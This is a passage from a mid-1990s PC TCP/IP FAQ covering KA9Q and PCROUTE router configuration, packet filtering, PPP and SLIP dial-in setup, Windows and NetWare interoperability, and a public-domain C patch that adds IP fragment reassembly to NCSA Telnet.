telnet start smtp # This machine will act as a DNS server; # Boot file is c:\\textwin\\named.boo, configuration # goes in c:\\textwin\\spool\\zones domain startdns # Command indicating presence of IBM AT isat on # #mbox secure on mbox maxmsg 200 mbox expert off # smtp gateway 192.187.157.2 smtp maxclients 5 smtp mode route smtp quiet yes smtp timer 600 smtp t4 120 # # Use Router Information Protocol (RIP) to inform # the router at 192.187.147.253 about the existence # of the local network. Send RIP packets every 240 # seconds. Only useful for dedicated routers. rip add 192.187.147.253 240 # # Install the packet filter for security purposes # ip filter pp0 permit in tcpxsyn !192.187.157.0\/24 192.187.157.0\/24 ip filter pp0 permit in icmpxrd !192.187.157.0\/24 192.187.157.0\/24 ip filter pp0 permit in udp !192.187.157.0\/24:53 192.187.157.0\/24:53 ip filter pp0 permit in udp !192.187.157.0\/24:53 192.187.157.0\/24:1024+ ip filter pp0 permit in udp !192.187.157.0\/24:123 192.187.157.0\/24:123 ip filter pp0 permit in tcpsyn !192.187.157.0\/24:20 192.187.157.0\/24:1024+ ip filter pp0 permit in tcpsyn !192.187.157.0\/24 foobar.com:25 ip filter pp0 permit in tcpsyn !192.187.157.0\/24 foobar.com:79 ip filter pp0 deny in * * * ip filter pp0 permit out * 192.187.157.0\/24 !192.187.157.0\/24 # # THE END dialer.ppp file: # Configuration section. # configure: init \"ATZ\\r\" dial_cmd \"ATDT\" ld_code \"\" number \"15108658169\" retries 5 # # Execution section. # execute: # # Toggle DTR. # control down wait 2000 control up wait 2000 # # Initialize the modem. # init wait 3000 \"OK\" # # Dial and wait for connection. # dial wait 45000 \"CONNECT\" # # Now log in. # wait 60000 \"ogin:\" wait 1000 send \"userID\\r\" wait 60000 \"word:\" send \"password\\r\" named.boo file: primary foobar.com foobar.com primary 157.187.192.in-addr.arpa 157.rev c:\\textwin\\spool\\zones files: foobar.com 157.rev You might try to use an on-demand dial router as a secondary DNS server, like this: named.boo file: secondary foobar.com 192.187.157.7 foobar.com secondary 157.187.192.in-addr.arpa 192.187.157.7 157.rev However, this will not work, because the DNS timeout is shorter than the average time to get KA9Q connected. As a result, KA9Q will try to download the zone files before the link is fully up, and will fail. However, you can act as a secondary on an ethernet network just fine. Here is another routing configuration file, using CSLIP and proxy arp: # This config file is for use with the large TextWin # version of KA9Q available from ftp.demon.co.uk # # Set the host name # hostname gate.foobar.com # # Configure COM3 on Interrupt 5, at 38400 bps with # RTS\/CTS (c) and Van Jacobsen Compression (v) and # MTU = 1008 # attach asy 0x3e8 5 vjslip sl0 8092 1008 38400 cv ifconfig sl0 ipaddress [157.151.0.253] ifconfig sl0 netmask 255.255.255.0 dialer sl0 dialer.sl0 # # # # Packet driver at 0x60; probably an Ethernet card # attach packet 0x60 lan 2 1500 ifconfig lan ipaddress [157.151.64.1] ifconfig lan netmask 255.255.255.0 # # route all packets over sl0 by default (sl0 is the route # to the Internet) # route add default sl0 # # The local Ethernet has a Class C network address so # route all IP addresses beginning with 157.151.64 to it. route add 157.151.64\/24 lan # # Use Proxy ARP # Respond to arps for 157.151.64.1 and .254 arp publish 157.151.64.1 ether 00:00:c0:33:f3:13 arp publish 157.151.64.254 ether 00:00:c0:33:f3:13 # # Time To Live is the maximum number of hops a packet # can take before it is thrown away. This command # prevents packets from looping infinitely. # ip ttl 255 # # The Maximum Segment Size is the largest single # transmission that you care to receive. An mss of 216 # will force folks to send you packets of 256 characters # or less (counting the overhead). # tcp mss 576 # # The Window parameter establishes the maximum number # of bytes that may be outstanding before your system # expects an ack. If window is twice as big as mss, # for example, there will be two active packets on the # channel at any given time. Large values of window # provide improved throughput on full-duplex links, but # are a problem on the air. # Keep mss <= window <= 2*mss if you're on the air. # tcp window 6888 # # This entry will open net.log in the \\spool directory # and will record the server activity of your system. If # you don't want a log, comment out this line; if you do, # make sure you have a \\spool directory! # log \\textwin\\spool\\net.log # # Each of the servers (services you will provide) must # be turned on before they will be active. The # following entries turn all of them on. To turn any # function off use the command 'stop' after NET gets # fired up, or just comment out the line here. # start ftp ftpopt binary start echo start discard # start telnet start smtp # This machine uses primary and seconary DNS servers # to resolve addresses # domain addserver 157.151.0.2 domain addserver 157.151.0.1 smtp gateway 157.151.0.2 # # Command indicating presence of IBM AT isat on # # # # THE END dialer.sl0 file: # Configuration section. # configure: init \"ATZ\\r\" dial_cmd \"ATDT\" ld_code \"\" number \"15108658169\" retries 5 # # Execution section. # execute: # # Toggle DTR. # control down wait 2000 control up wait 2000 # # Initialize the modem. # init wait 3000 \"OK\" # # Dial and wait for connection. # dial wait 45000 \"CONNECT\" # # Now log in. # wait 60000 \"ogin:\" wait 1000 send \"userID\\r\" wait 60000 \"word:\" send \"password\\r\" C-5 How do I get KA9Q to support BOOTP? The CWRU NOS version has a working BOOTP client and server built-in, and is the best version if you are looking for BOOTP support. [Does Textwin offer full BOOTP support?] If you are using another version of KA9Q that does not support BOOTP, try the following: Steven L. Johnson (mailto:johnson@TIGGER.JVNC.NET) notes: KA9Q does have a bootp client but it is not compiled in by default. It has a bug that truncates the returned ip address to 16 bits which must be corrected before it will work. It also complains about bootp servers that only support RFC 951 bootp without RFC 1084 (or 1048) vendor extensions. Other than that it seems to work for me. To enable the bootp client, add the following line to config.h: #define BOOTP 1 To correct the ip address truncation problem, in bootp.c change: Ip_addr = (int) reply.yiaddr.s_addr; \/* yiaddr *\/ ^^^^^problem at line 188 to: Ip_addr = (int32) reply.yiaddr.s_addr; \/* yiaddr *\/ ^^^^^^^solution And of course, recompile. This worked on the src1229 (1991) version and may work on the most recent version. I did check to make sure that the bug still exists, but I haven't rechecked whether there are additional problems in the new version. C-6. How do I get KA9Q to support PPP? Here is a sample ppp configuration file: # Set the host name # hostname aboba.slip.netcom.com ip address [192.187.134.3] # # # # Configure COM3 on Interrupt 5, at 38400 bps with # MTU = 1008 # attach asy 0x3e8 5 ppp pp0 8092 1008 38400 c dialer pp0 dialer.ppp ifconfig pp0 netmask 255.255.255.252 ppp pp0 trace 2 ppp pp0 quick ppp pp0 lcp open ppp pp0 ipcp open # # # route add default pp0 # route all packets over pp0 by default (pp0 is the route to # the Internet) # # Time To Live is the maximum number of hops a packet can take # before it is thrown away. This command prevents an inadvertent # infinite loop from occuring with packets in the network. # ip ttl 255 # #------------------------------------------------- # # The Maximum Segment Size is the largest single transmission that # you care to receive. An mss of 216 will force folks to send you # packets of 256 characters or less (counting the overhead). # tcp mss 576 # #------------------------------------------------- # # The Window parameter establishes the maximum number of bytes that # may be outstanding before your system expects an ack. If window is # twice as big as mss, for example, there will be two active packets # on the channel at any given time. Large values of window provide # improved throughput on full-duplex links, but are a problem on the # air. Keep mss <= window <= 2*mss if you're on the air. # # tcp window 6888 # #------------------------------------------------- # # This entry will open net.log in the \\spool directory and will # record the server activity of your system. If you don't want a log, # comment out this line; if you do, make sure you have a \\spool # directory! # log \\spool\\net.log # #------------------------------------------------- # # Each of the servers (services you will provide) must be turned # on before they will be active. The following entries turn all # of them on. To turn any function off use the command \"stop\" after # NET gets fired up, or just comment out the line here. # start ftp start echo start discard #start telnet start smtp # isat on # domain addserver 192.100.81.101 domain addserver 192.100.81.105 smtp gateway 140.174.7.1 # # # Display Name and IP Address # hostname ip address # # THE END dialer.ppp file: # Configuration section. # configure: init \"ATZ\\r\" dial_cmd \"ATDT\" ld_code \"\" number \"15108658169\" retries 5 # # Execution section. # execute: # # Toggle DTR. # control down wait 2000 control up wait 2000 # # Initialize the modem. # init wait 3000 \"OK\" # # Dial and wait for connection. # dial wait 45000 \"CONNECT\" # # Now log in. # wait 60000 \"ogin:\" wait 1000 send \"userID\\r\" wait 60000 \"word:\" send \"password\\r\" C-7. How do I get KA9Q to support SLIP dialin? If you are willing to settle for little or no security, there is not much you have to change to allow a KA9Q system to receive calls, as opposed to originating them. These should include: 1. Setting the system to autoanswer, via use of the ATS0=1 command to the modem. 2. Setting up a trace on the router end, to figure out if it's working, via the command: TRACE <interface> 1011, where <interface> = sl0 for SLIP, or another value such as LAN or ether0 for the Ethernet interface. It's probably a good idea to put a trace on all interfaces until the system is shaken down. Note that without addition of a special dialing script, this setup is completely insecure! For more details, see the FAQ posting enclosed below: DOS Slip Server HOW-TO using ka9q May 11, 1994 Bob Sanford mailto:sanford@aurora.bld189.jccbi.gov mailto:bob_sanford@mmacmail.jccbi.gov This paper will attempt to help an individual interested in turning a DOS machine with ethernet and internet IP address into a dial-in slip server. This paper is based on my experiences tying to configure my machine for just this purpose. Although I am not an expert by any stretch of the imagination, I have learned a little from this experience. My configuration is a AST 486\/66 Premmia running with 8 meg ram, 3C509 Etherlink III network card, U.S. Robotics 14.4k modem on the server side. Gateway 486\/33 with 4 meg ram, Zoom internal 14.4k modem on the client side. Server side 1. First acquire two IP addresses (or one if you already have one). The addresses must be in the same domain i.e. 123.123.123.xxx and 123.123.123.xxy. These numbers will be assigned by you system admin. Be sure that you set up names if your site has a name server. Once again your sysadm can help here. 2. Get the needed software. I will place the needed software on my machine for anonymous FTP under slip_server. The address is ftp:\/\/aurora.bld189.jccbi.gov\/ (162.58.16.196). Some of this software is shareware, so be sure to read the agreements. Here is a list of the needed files from aurora: Required nos11b.exe nos11b.map autoexec.nos autoexec.bat sliplog.zip slippr13.zip winsock.zip (you probably have this) sliphow.txt (this document) optional config.sys You will also need a packet driver for your network card. The one you use with winsock should be o.k. 3. Create a dir named nos and place all the files there. Then under the directory nos, create another dir called slip. Place the sliplog.zip and slipper.zip files in there and unzip them. 4. Edit the comlog.xxx files as outlined below: comlog.msg - place your clients Ip address there. comlog.pwd - The order has meaning. 1st name listed is sysop, he has special powers! Read manual for more info. The second is guest. The third is where I put my mine. The first entry on one line is your password and will be what you type at the Login prompt when signing in. The number indicates amount of minutes available each day. I set mine to 1440 ;) comlog.log - This is just a log file that shows who and when access was made to your system. 4. Edit the autoexec.nos file inserting your Ip address and ethernet address where noted. Save this file and place it in your ROOT (i.e. c:\\) dir. Be sure that you make all changes outlined in the beginning! 5. Create a boot disk in your favorite dos format and place the new autoexec.bat on this disk. Be sure that everything points to the proper place. The config.sys is nothing different. I'll include mine just for your info. 6. Boot using your slip boot disk. If all goes well you will be presented with: Keyboard locked enter password: If you get this, and the auto-answer light on the modem is lit, all went well, on the server end. Go ahead and enter the password and play around with nos. Try to telnet etc, to make sure it is configured properly. Once your happy, type lock to lock the keyboard. If you fail to get this message, double check all your paths and where they point to. I also had problems with my vectors, make sure that they are consistent through out the set up. If you still have problems, contact me and we'll work together and try to solve it. C-8. Can I use KA9Q as a packet filter? Yes! Both the TextWin Large and CWRU NOS versions support this. You can filter by incoming or outgoing, TCP or UDP port number, IP address, SYN bit on, etc. For information, see the file filter.txt included with both distributions. C-9. Can I use KA9Q as a BOOTP server? [Anyone know the answer to this?] C-10. Where can I get a manual for KA9Q? A detailed manual for KA9Q can be downloaded using this bookmark: host: cases.pubaf.washington.edu port: 70 type: 1 path: 1c:\/manual URL: gopher:\/\/cases.pubaf.washington.edu\/11c:\/manual C-11. Is there any way to stop KA9Q from listening to ICMP redirect packets? RIP packets? Yes! Assuming you get the Textwin large version, you can use the IP Filter capability as follows: ip filter pp0 permit in icmpxrd !192.187.157.0\/24 192.187.157.0\/24 The ICMPXRD refers to all ICMP packets other than redirects; as a result, this command will allow all ICMP packets in the pp0 interface which have a source address outside the 192.187.157.0 network, and which are destined for the 192.187.157.0 network. Using similar logic, you can kill RIP packets from non-trusted source addresses. C-12. Will KA9Q route sourcF-routed packets? If so, is there any way to turn off this (rather undesirable) behavior? It looks to me like KA9Q will route sourcF-routed packets, and it appears that there is no way to turn this off, other than modifying the source code. The IP FILTER capability included in the TextWin large implementation, available at ftp:\/\/ftp.demon.co.uk doesn't offer anything to ameliorate this. [Confirmation, anyone?] C-13. I'm trying to use the TextWin version of KA9Q as a SLIP router and it isn't working. What's wrong? I use Textwin for PPP routing (see the config files) and it works great. The problem is that SLIP support is no longer compiled in by default. So you have to get the source code, change this, and recompile. D. PCROUTE Questions D-1. How do I get PCROUTE set up? Some hints: 1. Use PCROUTE version 2.4 (see Resource Section for location) 2. Put the packet driver on Interrupt 0x60; it won't look for it in another location. 3. PCROUTE cannot handle variable length subnet masks. 4. Use KA9Q instead; PCROUTE does not give error messages if it hangs, and does not support packet filtering. However, beyond all this I question why anyone should prefer PCROUTE to KA9Q, particularly considering the DIS version's IP filtering capability and PPP support. In my opinion, the DIS KA9Q is superior to PCROUTE [any of you out there who disagree, please pipe up!] Similarly, PCBRIDGE has been superceded by KARLBRIDGE. D-2. I want to use WFW TCP\/IP-32 to contact a host over a serial link, but have no SLIP or PPP driver. Also, my provider has me setup for only one machine. What do I do? One somewhat convoluted approach is to use KA9Q or PCROUTE as a router, turning off RIP, and using CSLIP. Wait: you said your provider couldn't support that, right? Well, since CSLIP does not do address negotiation, your provider will not know what is on the other end. What they will know how to do is to route packets to that CSLIP interface based on your IP address. So as long as your TCP\/IP-32 machine has the IP address assigned to it, uses the router as its default route, and the router has the CSLIP interface as its default route, you'll be ok. The host on the other side will not know that there is an intervening machine, since the packets will bear the source address of the TCP\/IP-32 machine, and will be sent along with SLIP framing as required. D-3. How do I get PCBRIDGE to use a SLIP or PPP driver? To get this to work, use an Ethernet simulation driver, such as EtherSLIP, SLIPPER, CSLIPPER, or EtherPPP. For the curious, this works by having the driver snarfing ARP packets without passing them through, and stripping off the Ethernet header before adding SLIP framing to the IP packet and passing it on. You can invoke CSLIPPER in Ethernet simulation mode as follows: D-4. Can I get PCROUTE to switch off RIP? Yes. This is a PCROUTE configuration option. E. Windows NT E-1. Does Windows NT support OSPF or RIP? What can I do to get around this? No, it doesn't. However, it does support ICMP redirects, so you can use this to establish your routing table. E-2. Why shouldn't I try to install Trumpet Winsock on NT? Because NT already has a built-in TCP\/IP stack that is faster and more capable. If you need to do dialout, use RAS. E-3. Where can I find out more about SMB? What ports does it use? The group comp.protocols.smb discusses the Server Message Block (SMB) protocol. F. Hints for particular packages F-1. How do I get DesQView X to run over the network? V1.0 of DesQView X did not include a TCP\/IP protocol stack. Surprise! It required a TCP\/IP implementation such as Beame & Whiteside, PC-NFS, FTP's PC\/TCP, or Novell LWP. They've corrected the situation in subsequent revisions. Contact QuarterDeck for assistance. [pricing and availability, anyone?] F-2. Why is NFS so slow compared with FTP? NFS usually runs over RPC via UDP, rather than utilizing TCP. NFS only acknowledges a write request when the disk completes; there are no sliding windows as in TCP. This makes NFS fairly inefficient. Frances K. Selkirk (mailto:fks@vaxeline.ftp.com ) notes: \"There are NFS implementations that use TCP. They are only faster over WANs. UDP is faster over most normally functioning LANs. The lockstep paradigm is inherent to NFS, but some implementations provide the ability to violate it - a speed win when the net is reliable, a loss when it is not. Whatever the transport, NFS will have more overhead than TCP, because it is trying to transparently imitate an OS, and has to do a lot of shuffling and translating.\" F-3. Where can I get information on running NetWare and TCP\/IP concurrently? The bit.listserv.novell group regularly posts a FAQ which includes information on concurrent use of TCP\/IP and Novell IPX. F-4. What NetWare TCP\/IP NLMs are out there and how do I get them to work? A public and known to work reliable TFTP and BOOTP daemon for NetWare OS 3.1x\/4.0x and NetWare\/IP are available from ftp:\/\/ftp.novell.de\/~\/pub\/netwire\/un...er\/bootpd.exe. Contact: mailto:dirk@rhein-main.de F-5. How do I get a telecom package supporting Int 14h redirection to work? INT 14 is the BIOS serial port interrupt. \"Int 14h redirection\" means that Interrupt 14 is redirected to a Telnet connection to a particular host. This is useful because it allows a communications application to readily support telnet. Int 14h support is becoming increasing common, with vendors such as Mustang (QMODEM Pro) and Procomm Plus for networks having included this feature. Aside from commercial stacks (such as FTP's PC\/TCP), try the TCPPORT program in WATTCP, available via ftp:\/\/dorm.rutgers.edu\/pub\/msdos\/wattcp\/apps.zip. However, I have tried to get this to run with QMODEM Pro and found that I didn't have enough RAM. FTP's PC\/TCP includes a program called tnglass that supports Int 14h redirection. F-6. I am having trouble running Netmanage Chameleon apps along with WFW TCP\/IP-32. What do I do? The problem is that you have two WINSOCK.DLLs installed, and when you bring up a NetManage Chameleon app, it attempts to load NEWT. To get around this problem, on starting up WFW, you need to run a TCP\/IP-32 application such as Telnet or FTP. Once you do this, if you run a Chemaleon app, it will default to the Microsoft WINSOCK.DLL and everything will be fine. F-7. How do I get Windows For Workgroups to work alongside NetWare? The easiest way to do this is to first install Novell with ODI drivers, then install WFW v3.11. This version can run over ODI drivers, and will install itself so as to be compatible with NetWare. Another option is to use ODINSUP from Novell. This is an NDIS over ODI shim. This allows you to run software requiring ODI drivers, as well as software requiring NDIS drivers. Since IPX and TCP\/IP are different protocols, you will not need to run PKTMUX. F-9. How come package X doesn't support the AppleTalk packet driver? An AppleTalk driver is available as appletlk.com as part of the Crynwr driver set. NCSA Telnet 2.3.03 and NuPOP support it, but very few other applications do, including Trumpet Winsock. This is because AppleTalk corresponds to packet driver class 5, while most applications only support Class 1 (Ethernet). Vendors with Windows Sockets implementations that support AppleTalk include FTP Software's PC\/TCP. WinQVT\/Net's built-in TCP\/IP stack version is also rumored to be due to support AppleTalk in a future release. F-10. NCSA Telnet doesn't reassemble fragments. What should I do? Yell at the folks at NCSA to fix the problem, and to notify all the people who are using the same TCP\/IP code to insert the fix in their software as well. This problem is really common, and very annoying, and affects NCSA Telnet as well as PC Gopher III, and POPmail. One possible workaround is to set the MTU to 576, but this will not always work. The following solution has been provided by Matthew T Kaufman (mailto:matthew@echo.com): How to get rid of the message: \"IP: fragmented packet received, frags not supported\" (assuming you have a C compiler and source code) by Matthew T Kaufman Many people on the net have complained that NCSA Telnet (among other useful PC TCP\/IP programs) doesn't properly handle fragmented IP packets. this problem becomes especially evident if any of your packets are arriving over SLIP connections. I figured that the fastest way to get it to work would be to go ahead and do it myself rather than wait for it to get to the top of the list of desired features. MANY other programs have used the NCSA TCP\/IP implementation, so if you maintain a program which does, PLEASE add this fix. I (and MANY OTHERS) are unable to use your software until you do. I posted the basic form of this fix around the beginning of the year, but it didn't seem to make it into several subsequent versions of related software, so I am posting and mailing this once again, in a revised form, with helpful hints at the end. I request only the following in return: This software revision is in the public domain. It may be used anywhere without further permission from the author. Please credit the origin of the fix in your release notes or bug fix document. (I am \"Matthew Kaufman, matthew@echo.com\") If you are the official maintainer of a software package which you have added this fix to, please send me an email note letting me know that the fix made it in. (So I don't need to worry that, for instance, the next version of NCSA Telnet or WinQVT\/Net isn't going to include this) And, please add this fix as soon as possible. So here's my fix: The following are the changes to the NCSA Telnet TCP\/IP engine to add support for IP fragment reassembly. I also know how to make telnet compile properly under Borland C without running out of space in DGROUP (see the end of this) if you have any questions, you can reach me at: matthew@echo.com. I am willing to help, within the limits of my schedule. changes follow: file: engine\\ip.c (the only file that needs to change) delete the following: >\/* >* We cannot handle fragmented IP packets yet, return an error >*\/ > > if(p->i.frags &0x20) { \/* check for a fragmented packet *\/ > netposterr(304); > return(1); > } ---------- after the line: > iplen-=hlen; but before the lines: > \/* > * check to make sure that the packet is for me. add this: \/* check for fragment and handle. note that the &0x20 above is WRONG *\/ if(p->i.frags) \/* NOW check for a fragmented packet - mtk add*\/ { ipfraghandle(p,iplen); \/* pass in computed iplen to save time *\/ return(1); } ---------- and then, at the end of that file (ip.c) add this: \/* * IP Fragment Reassembly Hack * by Matthew T Kaufman (matthew@echo.com) * 1\/1993, 8\/1993 *\/ typedef struct ipb { DLAYER d; IPLAYER i; uint8 data[4104]; \/* \"Big Enough\" *\/ }FIPKT; #define IPF_CHUNKS 513 \/* 4104 \/ 8 *\/ #define IPF_BITWORDS 18 \/* 513 \/ 32 round up + 1*\/ #define IPF_BUFFERS 7 \/* Max # of different fragmented pkts in transit *\/ typedef struct { FIPKT pkt; unsigned long bits[IPF_BITWORDS]; int lastchunk; unsigned long lasttime; unsigned int iplen; }FPBUF; static FPBUF far Frag[IPF_BUFFERS]; ipfraghandle(IPKT *p, int iplen) { uint16 fraginfo; uint16 foffset; uint16 iden; FPBUF far *buf; int i; fraginfo = intswap(p->i.frags); foffset = fraginfo & (0x1fff); #define morefrags (fraginfo & (0x2000)) iden = intswap(p->i.ident); \/* we already KNOW that this IS fragmented *\/ \/* see if we can find any friends who've already arrived... *\/ buf = (FPBUF *) 0L; for(i=0; i<IPF_BUFFERS; i++) { if(p->i.ident == Frag[i].pkt.i.ident) { buf = &(Frag[i]); goto foundfriend; } } \/* otherwise, we must be the first one here *\/ { long oldtime = 0x7fffffff; int oldest = 0; for(i=0; i<IPF_BUFFERS; i++) { if(Frag[i].lasttime == 0) \/* unused buffer? *\/ { buf = &(Frag[i]); goto foundempty; } if(Frag[i].lasttime < oldtime) \/* track LRU *\/ { oldtime = Frag[i].lasttime; oldest = i; } } \/* if we're here, we need to reuse LRU *\/ buf = &(Frag[oldest]); foundempty: ; \/* initialize new buffer *\/ \/* time will be filled in later *\/ for(i=0; i<IPF_BITWORDS; i++) buf->bits[i] = 0L; \/* reset *\/ buf->lastchunk = 0; \/* reset *\/ \/* fill in the header with the current header *\/ movmem(p,&(buf->pkt), sizeof(DLAYER) + sizeof(IPLAYER) ); } foundfriend: ; \/* now, deal with this specific fragment... *\/ \/* copy data *\/ movmem(&(p->x.data),&(buf->pkt.data[8 * foffset]),iplen); \/* update rx chunks information *\/ for(i=foffset; i<= (foffset+(iplen \/ 8)); i++) { buf->bits[i\/32] |= (unsigned long) (1L<<(i % 32)); } if(!morefrags) { \/* now we can tell how long the total thing is *\/ buf->iplen = (8*foffset)+iplen; buf->lastchunk = foffset; \/* actually, lastchunk is more than this, but it *\/ \/* IS true that we only need to check through *\/ \/* this foffset value to make sure everything has *\/ \/* arrived -mtk *\/ } \/* now touch the time field, for buffer LRU *\/ buf->lasttime = clock(); \/* check to see if there are fragments missing *\/ if(buf->lastchunk == 0) { \/* we haven't even gotten a fragment with a cleared MORE *\/ \/* FRAGMENTS flag, so we're missing THAT piece, at least *\/ return 1; } for(i=0; i<= buf->lastchunk; i++) { \/* scanning to see if we have everything *\/ if(0 == ((buf->bits[i\/32]) & (unsigned long)(1L<<(i % 32))) ) { return 1; \/* still waiting for more *\/ } } \/* otherwise, done waiting... use the packet we've gathered *\/ \/* first clear stuff from fragment buffer: *\/ buf->lasttime = 0L; \/* mark as free to take *\/ buf->lastchunk = 0; \/* need to do this, because we use it as flag *\/ buf->pkt.i.ident = 0; \/* so we don't find this later *\/ buf->pkt.i.frags = 0; \/* in case anybody above us checks *\/ \/* then send it on its way... *\/ if(!comparen(nnipnum,p->i.ipdest,4)) { \/* potential non-match *\/ if(comparen(nnipnum,junk,4) && p->i.protocol==PROTUDP) return(udpinterpret((UDPKT *)p,iplen)); return(1); \/* drop packet *\/ } \/* end if *\/ switch (buf->pkt.i.protocol) { \/* which protocol *\/ case PROTUDP: return(udpinterpret((UDPKT *)&(buf->pkt),buf->iplen)); case PROTTCP: return(tcpinterpret((TCPKT *)&(buf->pkt),buf->iplen)); case PROTICMP: return(icmpinterpret((ICMPKT *)&(buf->pkt),buf->iplen)); default: netposterr(303); return(1); } } *** helpful hint: if you run out of space in DGROUP, its because your compiler doesn't place each 'far' data object in its own segment. To make things work, you need to make the raw packet buffer be in its own segment. Here's how: in include\/pcdefs.h search for: --> unsigned char far raw[17000]; (the 17000 might be some other number... smaller, if someone tried to fix this before) and change to --> unsigned char far raw[17000]={0,0}; \/* force into own segment *\/ F-11. I am trying to configure a Macintosh to set its parameters automatically on bootup, but it isn't working. What's wrong? MacTCP has several bugs that can make it difficult to do automatic configuration. If you are trying to configure the default gateway by sending RIP packets to a Mac, you may have problems. While MacTCP can use RIP to configure the default gateway, it has a bug in that it will not choose the lowest advertised hop count, as it should. Instead, it uses the first RIP packet that comes along. But wait, there's more. When booted in \"dynamic\" mode, MacTCP puts out an ICMP Address Mask Request. This method of determining the network mask is often unsupported by other hosts. For example, my UNIX machine does not respond to these packets, and neither does KA9Q; some UNIX implementations such as System VR4 may return the wrong answer. As a result, my advice is not to automatically configure the subnet mask this way. But wait, there's more. When booted in \"server\" configuration mode off a LAN, MacTCP uses a buggy version of BOOTP. So if you send it a list of gateways, it will just use the first one sent, even if it is down and one of the others is up. F-12. I've heard that DHCP is a potential security risk. Is this true? No, it isn't. The concern relates to the use of dynamically allocated addresses, not DHCP per se. BOOTP allows configurations to be stored in a table, so that you know that student 337.ip.berkeley.edu corresponds to Ralphie Root, in case they do something nasty. However, in addition to dynamic address allocation from a pool, the DHCP protocol supports reservation of certain IP addresses for various MAC addresses, as well as automatic assignment, where an address is dynamically assigned the first time, then continues to be assigned to the same host after that. The result is that going to DHCP won't lose you any flexibility. Some services, such as FTP servers, will have problems with dynamically allocated addresses if DNS records are not properly setup for them. To do this, a given address must have a PTR record to an FQDN, and that FQDN must also point back to the address. This can be done by creating PTR and A records for all the addresses in the pool. F-13. What is TIA? TIA is a program that can be run on a UNIX shell account, which allows you to run graphical applications such as Mosaic as though you were connected over a SLIP link. You can therefore use TIA with stacks such as Trumpet Winsock, Chameleon, etc. TIA does not require root permissions, so it can only use ports 1024+, and therefore using it you can only run client applications, not server apps. To use TIA, your provider must offer an \"8-bit clean\" environment. This is *not* the same as 8-N-1 communications parameters, since even if you are using this, some characters may still cause problems. Many Internet service providers (such as Netcom) now officially endorse TIA for use on shell accounts. While right now only SLIP is supported, support for CSLIP and PPP is reportedly in the works. For information on TIA, check out: http:\/\/marketplace.com\/ ftp:\/\/marketplace.com\/tia\/ ftp:\/\/marketplace.com\/tia\/docs\/ F-14. What PC TCP\/IP implementations support recent advances? Here is a list of vendors supporting various advances: Long Fat Pipes: T\/TCP: TOS queuing: Path MTU discovery (UDP): Path MTU discovery (TCP): OSPF: Round-robin DNS: DHCP client: FTP Software, Microsoft TCP\/IP-32, NT NFS over TCP: SNMP Agents: Chameleon, FTP Software, Windows NT [Vendors out there, please pipe up if you support one or more of these!] F-15. What network adapters have on-board SNMP agents? This is by no means a complete list, but the following vendors are known to support this: MasterLAN ISA by UB Networks, Inc. 800-777-4LAN. ProNIC LAN10MM by Zenith Electronics Corp. 800-788-7244. F-16. What is the easiest way to get WFW and Novell to coexist? Before installing WFW v3.11, install Novell on the machine using an ODI driver. Then install WFW, and after that, the TCP\/IP-32 protocol stack. The installers will automatically detect the present of Novell Netware, and will complete the setup for you, usually without a hitch. WFW v3.11 can talk directly to ODI drivers, so you will not need ODINSUP. F-17. I'm trying to use packet driver software alongside WFW v3.11 and am having a hell of a time. What should I do? Your problem is probably that you are trying to run NDIS v3.0 drivers alongside DIS_PKT. This will not work. What you need is Dan Lanciani's NDIS3PKT.386, a VxD packet driver over NDIS shim. See part 2 for details on how to get this. F-18. What proxy software is available for those concerned about security? WS_FTP can act as a proxy client to some ftpd version. Does anyone know what the appropriate server side is? Mosaic has also reportedly been \"socksified.\" Any further details on this? Information on proxies is available at tns.com. F-19. How do I mount ftp.microsoft.com using File Manager? This is a really cool thing, since it is a lot faster than most graphical FTP applications, and is easy to do. Be aware that for this to work, you must *not* be behind a firewall. 1. Edit the WIN\\LMHOSTS file to include the following line: 198.105.232.1 FTP 2. Set Microsoft TCP\/IP up to \"Resolve using LMHOSTS file\" 3. Open the File Manager, and select Connect Network Drive from the Disk Menu. Type: \\\\FTP\\DATA to the path to mount the FTP server area in the File Manager. Do *not* check the box saying \"Reconnect on startup\" 4. Copy files. 5. Select Disconnect Network Drive from the Disk menu. F-20. I am having problems connecting to a Windows NT PPP server. What should I do? On Windows NT you are probably using CHAP as the authentication protocol within LCP. Try using PAP authentication instead on both client and server. This can be accomplished by unchecking \"Require encrypted authentication,\" which is the default setting. If this still doesn't work, you may be having problems in the IPCP negotiation. Leaving the remote and local IP addresses set to 0.0.0.0 may solve the problem, allowing these parameters to be set by the NT server. F-21. When should I use COMT? COMT is a \"Telnet modem\" that can be used to allow any communications program to use Telnet. Since COMT acts like a modem, you can telnet to a site using commands such as ATDTwell.com (to dial The WELL). Why should you care about this? a. If you want to do an XMODEM, YMODEM, or ZMODEM transfer over Telnet. For this to work, your Telnet implementation will need to negotiate a binary (8-bit) channel. b. You want to use RIP or ANSI graphics. Via COMT you can use a program such as QMODEM Pro to login to that RIP BBS. c. You need to dial in to CompuServe or AOL over the Internet. Using COMT you can fool the standard versions of these programs into dialing in over the Internet. F-22. What version of POP should I be running alongside Eudora? A lot of people (including me!) run the June 1991 1.83 beta of POP called popper, available via: ftp:\/\/ftp.CC.Berkeley.edu\/pub\/pop\/solaris2\/popper.tar.Z This generally works ok, but there are newer versions out there. These include: ftp:\/\/ftp.qualcomm.com\/quest\/unix\/se...2.1.3-r5.tar.Z (Qualcom POP server) ftp:\/\/ftp.cac.washington.edu\/imap\/imap.tar.Z (ipop3d, part of the IMAP distribution) F-23. How do I use Netscape to read local files? To use Netscape without a network, you will need the following file: ftp:\/\/ftp.mcom.com\/netscape\/unsuppor...ows\/mozock.dll Install this as winsock.dll; you will then be able to run Netscape to view local files. F-24. I want to run an NNTP server under OS\/2. Does such an animal exist? Apparently yes. There is an OS\/2 native appliation called changi01.zip that uses inews and UUPC to connect to a news server. This runs under OS\/2 v3.0, and IBM TCP\/IP v2.0. G. Information for developers G-1. What publicly distributable TCP\/IP stacks are there that I can use to develop my own applications? In writing an application, you can use device drivers provided by particular vendors, or you can opt for an Application Binary Interface (ABI) that supports multiple TCP\/IP protocol stacks, such as Winsock. For a given version of Windows, Winsock is an ABI for both Windows 3.x and Windows NT (via the NT Win16 subsystem). Device drivers are included with PC-NFS and Beame & Whiteside's BW-TCP. Free examples of ABIs are the WATTCP API, the NCSA API (public domain), the Trumpet ABI from Peter Tattum, and the NuPOP ABI. All major TCP\/IP vendors have by now implemented Windows Sockets. G-2. Where can I get a copy of the Windows Sockets FAQ? A separate developer-oriented FAQ file about Windows Sockets created by Mark Towfiq is available on ftp:\/\/SunSite.UNC.EDU\/pub\/micro\/pc-s...ws\/winsock\/FAQ and 